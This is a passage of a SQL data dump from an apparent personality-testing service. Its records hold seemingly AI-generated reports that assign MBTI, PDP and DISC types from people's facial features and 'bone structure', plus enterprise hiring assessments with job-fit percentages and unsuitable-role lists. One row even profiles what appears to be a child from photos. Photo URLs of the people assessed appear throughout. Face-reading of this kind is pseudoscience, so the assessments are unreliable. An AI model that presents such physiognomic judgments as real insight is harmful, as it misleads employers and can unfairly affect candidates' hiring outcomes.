C型的理性规划、规则导向高度一致。\\\\n- 说明其在面对压力和不确定性时,更倾向通过理性分析与规划应对,而非情绪宣泄或短期冲动。\\\\n\\\\n【测评交叉验证与去伪存真】\\\\n- MBTI:人脸分析为 INTJ(内向、直觉、思考、判断型),正式测评结果为 ESTJ(外向、实感、思考、判断型)。两者共有:T(理性思考)、J(偏计划和结构);差异主要在E/I和N/S。结合面相内敛、克制特征,更接近“思考型、规划型”的I性格;但ESTJ的外向表达、组织能力也可能是其后天职场行为的表现。因此判断为:本质偏内向理性,具备职场训练出的管理与表达能力,可阶段性呈现外向管理者形态。\\\\n- PDP:系统结果为孔雀型(Peacock)偏表演、社交、影响力;人脸与骨相给出的则是“猫头鹰”(理性、分析、谨慎)。两者极为矛盾。考虑到孔雀型往往在测评中易受“理想领导形象”诱导而被高估,因此更大概率是候选人自我期望或在特定场景下的呈现,而非全天候特质。更可信的是:以猫头鹰为底,叠加一定外向与表现能力,而非纯孔雀。\\\\n- DISC:结果为I主C辅(影响型+一部分谨慎型),但面部和骨相充分印证C型特质——“稳健理性、看重原则、重视细节与秩序”。综合判断:C是稳定底色,I是可调用的工作模式(特别在需要推动他人、对外沟通时)。\\\\n- 综合三套系统:T(理性)、J(结构)、C(谨慎)、猫头鹰(分析)、以及适度I/孔雀(社交与影响力)反复出现,说明“理性规划+有组织力”是共识;而“极端外向、极爱表现”的部分可信度相对较低。\\\\n\\\\n【真实性格深度分析】\\\\n- 核心人格:以“理性、规划、原则”为核心驱动力,对世界的理解方式偏分析和拆解,希望事情有逻辑、有标准、有秩序。面对任务,先考虑“目标是什么”“路径怎么设计”“风险在哪里”,很少完全凭感觉即兴行事。\\\\n- 情绪与压力处理:情绪表达相对收敛,不容易在公共场合失控,习惯把压力内化为“我要把这件事做好”的自我要求。抗压持久,适合打“持久战”或长周期项目,但需要注意长期高压下的隐性疲劳和对自我否定的倾向。\\\\n- 对人对事的优先级:更看重事本身的逻辑、结果和专业度,对人际关系的期待是“基于合作与信任的长期关系”,而非短期的情绪互动。如果别人工作不专业、做事不靠谱,比起“对我好不好”,他更在意“事情有没有按标准完成”。\\\\n- 控制感需求:对可控性与确定性有一定需求,希望自己能掌握关键节奏、规则与资源。如果长期处在极高不确定、决策随意变动的环境中,会产生明显的挫败感和无力感。\\\\n\\\\n【行为与沟通风格】\\\\n- 沟通方式:语言通常偏直接、清晰、结果导向,不太绕圈。汇报和表达时注重逻辑结构(背景-问题-方案-风险-结论),在正式场合具备良好的“专业沟通者”形象,但不太擅长长时间轻松寒暄式社交。\\\\n- 决策风格:偏理性与数据驱动。喜欢先收集关键信息,再做判断;在时间有限时,也能基于经验快速决策,但更安心于有事实支撑的选择。对模糊信息有警惕,倾向做风险预案与B方案。\\\\n- 冲突处理:对事不对人,习惯用“规则、流程、职责边界”来拆解冲突。表达可能偏坚定甚至强硬,尤其在原则问题上,较少妥协。如果对方过于情绪化,他可能选择先保持冷静克制,但也容易被误认为“不近人情”。\\\\n- 团队协作:在明确自己负责的模块时,执行力强、稳定输出,是那种“交给他就不太需要操心”的人。带团队时,会强调规则、流程和标准,期待大家“按规范高质量交付”,在激励与情感关怀上相对务实,属于“用事带人”的管理风格。\\\\n\\\\n【优势亮点(对用人方有价值的部分)】\\\\n1. 逻辑与规划优势:\\\\n - 能快速理解复杂任务,拆解为可操作的计划和节点。\\\\n - 擅长梳理流程、制定标准、优化现有工作机制,适合承担“把混乱变有序”的角色。\\\\n2. 抗压和稳定性:\\\\n - 面对长周期、高强度项目能保持理性和执行稳定,不容易被短期情绪波动带偏。\\\\n - 适合承担关键节点的“项目守门人”,在节点压力下保障交付质量。\\\\n3. 责任感与原则性:\\\\n - 对承诺的事情有较强责任意识,不轻易甩锅或放弃。\\\\n - 在涉及风险、合规、质量的场景中,能坚守底线,避免团队和公司承担不必要的风险。\\\\n4. 适度外向与影响力:\\\\n - 虽非天然社交型人格,但通过训练与经验积累,能够在重要场合清晰表达、组织协调、推动他人行动。\\\\n - 在对外汇报、项目路演、跨部门协调中,有一定表现力和说服力。\\\\n\\\\n【可提升方向(对个人与管理者的建议)】\\\\n1. 平衡理性与共情:\\\\n - 在给下属或同事反馈时,建议先肯定努力与成果,再指出问题和改进方向,以缓冲其语言直接性带来的压力感。\\\\n - 有意识地询问对方感受与困难,不仅讨论“任务进度”,能提升团队对其的信任度与跟随意愿。\\\\n2. 管理好社交能量:\\\\n - 识别自己在高频社交和连续会议后的疲惫信号,安排必要的独处或安静工作时间,避免长期透支导致工作倦怠。\\\\n - 对自己在“需要表现”和“真实能量”的差距保持觉察,不必持续扮演高能外向者,可在团队中设计分工,让更擅长社交的人承担部分对外展示工作。\\\\n3. 增强在高不确定环境中的“试错容忍度”:\\\\n - 接受部分阶段性混沌和不完美信息,在某些创新或探索性项目中,允许“小步快跑、边试边调”的模式,不必一开始就追求最优方案和完整闭环。\\\\n - 将“控制一切”转为“控制关键变量”,在战略上保持弹性,战术上保持严谨。\\\\n4. 调整对自己和他人的标准层级:\\\\n - 区分“必须做到”的底线标准与“最好做到”的理想标准,避免对所有事情一视同仁地高要求,导致自己和团队负荷过高。\\\\n - 在不同阶段选定1—2个核心优先级,允许次要事项“合格即可”,提升整体效率与心态弹性。\\\"}\\\"}\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773219369, 1773219369, 6, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (123, 32, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、规划感强,做事稳健负责,重视长期目标与结果落地。适合承担决策与专业把关角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab171e520.51202929.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab163f450.57707298.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab1747880.84872798.jpg\"], \"boneAnalysis\": \"骨相偏方正稳健,中停与下停力量感足,颧骨含而不露,属稳中有进型,擅长在既定框架内持续推进。\", \"faceAnalysis\": \"额头平阔、眼神专注,鼻梁端正,嘴型收敛,下颌稳实,整体给人冷静审慎、重视规则与逻辑的印象。\", \"personalitySummary\": \"性格理性克制,有主见与原则感,重视效率和专业度。对外略显严肃但可靠度高,偏好深度思考后再行动,抗压与自律能力突出。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773222595, 1773222595, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (124, 33, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳重理性,责任感强,做事有规划且能长期坚持,适合承担关键事务与稳定推进型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8538c07.76208125.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc853fc54.58224611.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8575d08.12155284.jpg\"], \"boneAnalysis\": \"整体偏土金形,骨骼端正饱满,骨肉均衡,抗压持久,重视现实与稳健推进,格局以务实统筹见长。\", \"faceAnalysis\": \"额头宽阔饱满,眼神沉稳专注,鼻梁平直鼻翼适中,嘴唇收敛有度,下巴圆厚具承载力。\", \"personalitySummary\": \"性格内敛理性,做事踏实谨慎,重视规则和承诺,执行力强且能长期投入,对细节与风险有良好把控。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773227480, 1773227480, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (125, 35, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、思路清晰,擅长规划与分析,做事稳健克制,有长期目标与自我要求。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg\"], \"boneAnalysis\": \"骨骼均匀偏文骨,颧骨不过分外张,下颌略圆带稳,属稳健内敛型骨相。\", \"faceAnalysis\": \"额头饱满顺宽,眼神稳定内敛,鼻梁端正,嘴型收敛度好,整体面相理性审慎。\", \"personalitySummary\": \"思维缜密,重视逻辑与结构,情绪平和不外露,偏低调内向,做事有计划并追求高标准。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773227875, 1773227875, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (126, 24, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,重视效率与结果,适合承担规划决策与系统优化类角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6effb19.11783053.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe704cf56.15509327.jpg\"], \"boneAnalysis\": \"骨相偏方正稳固,下颌与颧区轮廓清晰,骨肉均衡,属稳健理性型格局,重视长期规划与现实落地。\", \"faceAnalysis\": \"额头饱满开阔,眼神沉稳内敛,鼻梁端正,嘴型收敛偏直,整体给人冷静克制、理性思辨之感。\", \"personalitySummary\": \"性格冷静自持,逻辑性与判断力强,做事有计划有步骤,重视原则和边界,人际中偏克制但可靠度高。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228025, 1773228025, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (127, 24, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静,重视规划与结果,稳健务实,适合承担核心决策与系统优化角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ccd066.43636225.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028cc9d67.04689669.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ce1643.64175223.jpg\"], \"boneAnalysis\": \"骨相偏土金形,颧骨内敛但有力,下颌骨承载感强,骨肉匀称,显示格局稳健、抗压持久,适合长期深耕与统筹。\", \"faceAnalysis\": \"额头宽阔饱满,双眼沉稳内敛,鼻梁顺直,嘴型收敛度佳,下巴略圆带厚,整体给人理性坚毅、稳重内敛之感。\", \"personalitySummary\": \"思维逻辑清晰,善于系统分析与长期规划,做事稳中求进,情绪波动小,人际中相对克制有边界,适合承担策略制定和关键项目把控工作。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228086, 1773228086, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (128, 33, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重细腻、责任感强,重视长期稳定与家庭事业平衡,适合在熟悉领域深耕并承担管理与支持角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516ba4bf30.72712934.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bac84a6.20264714.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bb5a282.82864273.jpg\"], \"boneAnalysis\": \"整体偏土形,骨肉均衡,颧骨不张、下颌圆厚,骨相稳健守成,抗压持久,适合循序渐进型发展路线。\", \"faceAnalysis\": \"额头饱满顺滑,眉眼平和含蓄,鼻梁端正鼻翼适中,嘴型收敛,下巴圆厚有承托感,全脸线条柔和稳定。\", \"personalitySummary\": \"性格内敛踏实,重视承诺与责任,做事稳健有耐心,关怀他人但边界感适中,适合在稳定环境中长期深耕并支持团队运作。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228411, 1773228411, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (129, 33, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重内敛,责任感强,做事踏实细腻,重视长期稳定与家庭事业的双重平衡。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3eba629.60383383.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3f3c0b5.68589567.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3ed78b1.95279640.jpg\"], \"boneAnalysis\": \"面中下停略重,骨架圆厚有承载力,颧骨不露锋芒偏守成型,整体格局稳健重实务与耐力。\", \"faceAnalysis\": \"额头宽阔饱满,眼神温和含蓄,鼻梁平直端正,嘴角收敛,下巴圆厚,整体给人可靠稳重之感。\", \"personalitySummary\": \"性格温和有韧性,重视承诺与责任,行事谨慎周全,偏向务实执行与长期投入,善于照顾他人情绪与细节。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228469, 1773228469, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (130, 35, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性克制、思维缜密,擅长规划与分析,稳健踏实,有长期发展眼光与自我要求。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg\"], \"boneAnalysis\": \"骨相端正不突兀,颧骨内敛,下颌线平稳,属稳健持久型格局,重视秩序与责任。\", \"faceAnalysis\": \"额头饱满顺直,眼神沉稳内敛,鼻梁端正,唇形收敛度好,整体五官均衡偏理性。\", \"personalitySummary\": \"性格冷静理智,重视逻辑与效率,决策前深思熟虑,做事有规划,克制感强,偏内向独立。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228478, 1773228478, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (131, 33, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向活泼、好奇心强,反应灵敏,情绪丰富,有想象力与亲和力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0eb0481.53858657.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0f32570.64051638.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a11237f1.79404762.jpg\"], \"boneAnalysis\": \"骨架圆润带柔,颧区平和、下巴饱满,气质偏亲和稳定,成长空间大。\", \"faceAnalysis\": \"额头圆阔、眼神灵动、面庞饱满,表情丰富,整体给人开朗活泼之感。\", \"personalitySummary\": \"性格外向有趣,情绪表达自然,喜欢与人互动,善于用直觉与想象应对新事物。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228716, 1773228716, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (132, 35, 'mbti', '{\"scores\": {\"E\": 3, \"F\": 2, \"I\": 5, \"J\": 4, \"N\": 1, \"P\": 3, \"S\": 6, \"T\": 6}, \"answers\": [], \"mbtiType\": \"ISTJ\", \"timestamp\": \"2026-03-11T11:31:57.653Z\", \"confidence\": 70, \"completedAt\": \"2026-03-11T11:31:57.651Z\", \"description\": {\"name\": \"检查员\", \"type\": \"ISTJ\", \"careers\": [\"会计师\", \"审计师\", \"项目经理\"], \"category\": \"守护者\", \"strengths\": [\"可靠负责\", \"注重细节\", \"有条理\"], \"weaknesses\": [\"可能过于固执\", \"不喜变化\"], \"description\": \"务实、负责、可靠的传统主义者\"}, \"testDuration\": 234, \"dimensionScores\": {\"EI\": {\"E\": 3, \"I\": 5, \"dominant\": \"I\", \"percentage\": 63}, \"JP\": {\"J\": 4, \"P\": 3, \"dominant\": \"J\", \"percentage\": 57}, \"SN\": {\"N\": 1, \"S\": 6, \"dominant\": \"S\", \"percentage\": 86}, \"TF\": {\"F\": 2, \"T\": 6, \"dominant\": \"T\", \"percentage\": 75}}}', NULL, NULL, 0, 0, NULL, NULL, 1773228717, 1773228717, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (133, 33, 'face', '{\"pdp\": {\"primary\": \"无法判断\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"无法判断\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"无法判断\", \"title\": \"战略家\"}, \"overview\": \"照片中为一名儿童,表情自然放松,仅可确认有清晰人脸,无法据此进行可靠人格与职业测评推断。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e703d9a8.06342422.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6db9b37.88275148.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6decb88.39454837.jpg\"], \"boneAnalysis\": \"骨相发育尚在早期阶段,无法依据传统相术或现代模型给出稳定结论。\", \"faceAnalysis\": \"五官端正、表情活泼,仍处生长期,面部特征尚未定型,不宜据此推演性格命运。\", \"personalitySummary\": \"仅从照片无法科学推断其MBTI、PDP或DISC类型,任何人格判断都会失真且存在刻板风险。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228789, 1773228789, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (134, 33, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"性格活泼外向,好奇心强,情绪丰富,乐于表达与互动,适合在支持与鼓励环境中成长。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"骨相柔和偏圆,额区饱满,下颌承托力适中,属以亲和力与适应力见长的发展型格局。\", \"faceAnalysis\": \"五官圆润有朝气,眼神灵动,表情多变,整体给人活泼、亲切且富有童真的感觉。\", \"personalitySummary\": \"天真外向,想象力丰富,表达欲强,乐于尝试新事物,善于在互动中获得能量与自信。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228837, 1773228837, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (135, 36, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"理性务实、安静专注,责任心强,重视长期稳定与稳健推进,适合深度专业与体系化管理工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d889b1d6.05067740.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d8915338.23978756.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d893f2e8.01394899.jpg\"], \"boneAnalysis\": \"骨相偏土木形,骨肉均匀不突兀,颧鼻不张扬而有支撑力,下颌骨柔中带劲,属稳健持久、重实践型格局。\", \"faceAnalysis\": \"额头平阔饱满,眼神沉稳克制,鼻梁顺直略圆润,下巴略尖偏圆,整体给人理性内敛、踏实细腻之感。\", \"personalitySummary\": \"性格内敛寡言却有主见,做事循序渐进、计划性强,遇事冷静分析,偏好规则与秩序,重承诺、可信赖。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773229546, 1773229546, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (136, 37, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"务实稳重,思维缜密,抗压能力强,偏向长期规划与稳健推进型发展路径。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686bcc486.40018861.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c108a2.00278153.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c72c85.43050844.jpg\"], \"boneAnalysis\": \"骨架偏厚实,面中庭力量感足,下颌骨承载力佳,属土形稳重格局,重视现实与长期积累。\", \"faceAnalysis\": \"额头较宽,眼神内敛专注,鼻翼扎实,嘴形收敛,下巴圆厚,整体给人稳健务实、重执行的印象。\", \"personalitySummary\": \"性格内敛理性,做事有计划有耐心,重视规则和责任,能在压力环境下持续输出稳定表现。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773229714, 1773229714, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (137, 37, 'mbti', '{\"scores\": {\"E\": 1, \"F\": 8, \"I\": 7, \"J\": 7, \"N\": 3, \"P\": 0, \"S\": 4, \"T\": 0}, \"answers\": [], \"mbtiType\": \"ISFJ\", \"timestamp\": \"2026-03-11T11:50:52.619Z\", \"confidence\": 86, \"completedAt\": \"2026-03-11T11:50:52.619Z\", \"description\": {\"name\": \"保护者\", \"type\": \"ISFJ\", \"careers\": [\"护士\", \"教师\", \"行政\"], \"category\": \"守护者\", \"strengths\": [\"忠诚体贴\", \"观察力强\", \"耐心\"], \"weaknesses\": [\"不善拒绝\", \"过于谦虚\"], \"description\": \"安静、友好、负责任的守护者\"}, \"testDuration\": 128, \"dimensionScores\": {\"EI\": {\"E\": 1, \"I\": 7, \"dominant\": \"I\", \"percentage\": 88}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 3, \"S\": 4, \"dominant\": \"S\", \"percentage\": 57}, \"TF\": {\"F\": 8, \"T\": 0, \"dominant\": \"F\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1773229852, 1773229852, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (138, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"项目经理\", \"团队领导\", \"销售主管\", \"客户关系管理\"], \"notSuitable\": [\"高度技术专业深度研发岗位\", \"需要极端内向独立完成任务职位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"88%\"}, {\"label\": \"沟通适应性\", \"level\": \"高\", \"value\": \"85%\"}, {\"label\": \"抗压能力\", \"level\": \"高\", \"value\": \"90%\"}, {\"label\": \"组织执行力\", \"level\": \"高\", \"value\": \"87%\"}], \"headline\": \"具备双重领导力特质,能统筹规划与激励团队\"}, \"overview\": \"候选人性格表现出内敛与外向的明显分裂特征,行为模式体现理性与感性并存。生日与骨相显示其稳健、理性、富有抗压性,擅长有序规划与坚持原则;BUT 测评结果揭示其显著的社交互动能力和乐观自信,既有高效组织者特质,也极具表现力与亲和力。整体呈现出复合型领导者画像,兼具战略洞察与团队激励能力。\", \"portrait\": {\"coreRisks\": [\"性格层面存在内外反差,易造成自我认知混淆\", \"注意力可能易分散\", \"在快速变化环境中可能出现优柔寡断\"], \"workStyle\": \"偏好稳定有序环境,习惯通过周密计划和严谨执行达到目标,沟通时既能理性直截也能展现亲和力,团队中担任既能推动任务又能激励氛围的角色。\", \"coreStrengths\": [\"目标导向强\", \"理性冷静\", \"良好沟通与表达能力\", \"高抗压\", \"组织协调力强\", \"人际影响力显著\"]}, \"resumeHighlights\": \"MBTI识别为ESTJ,显示其作为果断的组织者和领导者;PDP和DISC均倾向表现型/影响型,凸显良好的社交影响力和团队调动能力。骨相与面部特征分析印证其内敛稳健的性格底色。其工作经历中的表现预计为理性、有序和高效。整体来看,候选人真实个性为‘理性+表现’,即内外兼修的复合型人才,既冷静决策又积极表达,适合担任中高级管理及客户导向岗位。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773279222, 1773279222, 6, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (139, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维理性,细致专注,谋略与执行兼备,适合规划与决策类岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"骨重肉匀,五行木形,颧骨收敛,伏犀骨有力,格局中高,主理性与稳定。\", \"faceAnalysis\": \"额头饱满,眼神专注,鼻梁挺直,唇形清晰,下巴轮廓分明,五官协调。\", \"personalitySummary\": \"具备理性分析与系统思维,做事沉稳高效,决策重逻辑长远。人际间保持距离感,适合独立谋划或专业带队,能整合资源,兼具开拓与守成。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773279937, 1773279937, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (140, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"具备思维理性、决策果断和全局统筹能力,攻坚执行兼具创新潜质。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif\"], \"boneAnalysis\": \"金形骨相,骨重肉薄,颧骨高耸将军骨坚挺,整体格局高,决断现实感强,抗压理性攻坚。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注,鼻梁直挺,唇形收放有度,下颌宽厚有力,耳廓适中贴头。\", \"personalitySummary\": \"刚健稳重兼具战略眼光,雷厉风行注重细节,理性分析为决策核心,具威信领导力,适配高挑战环境管理晋升路径。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773279975, 1773279975, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (141, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性专注、条理清晰,擅长深度思考和独立决策,兼具敏锐洞察力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"五行属木形,骨感明显,骨重肉薄,抗压稳健,主见强,谋略佳。\", \"faceAnalysis\": \"额头宽阔,眼神专注,鼻梁高直,嘴唇紧收,下巴略尖,耳朵较贴头。\", \"personalitySummary\": \"善于逻辑推理与系统规划,追求精准,行事低调却有主见,决策理性。人际关系理性有度,沟通偏向事实与逻辑,适配复杂问题解决与知识型岗位。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773280023, 1773280023, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (142, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": 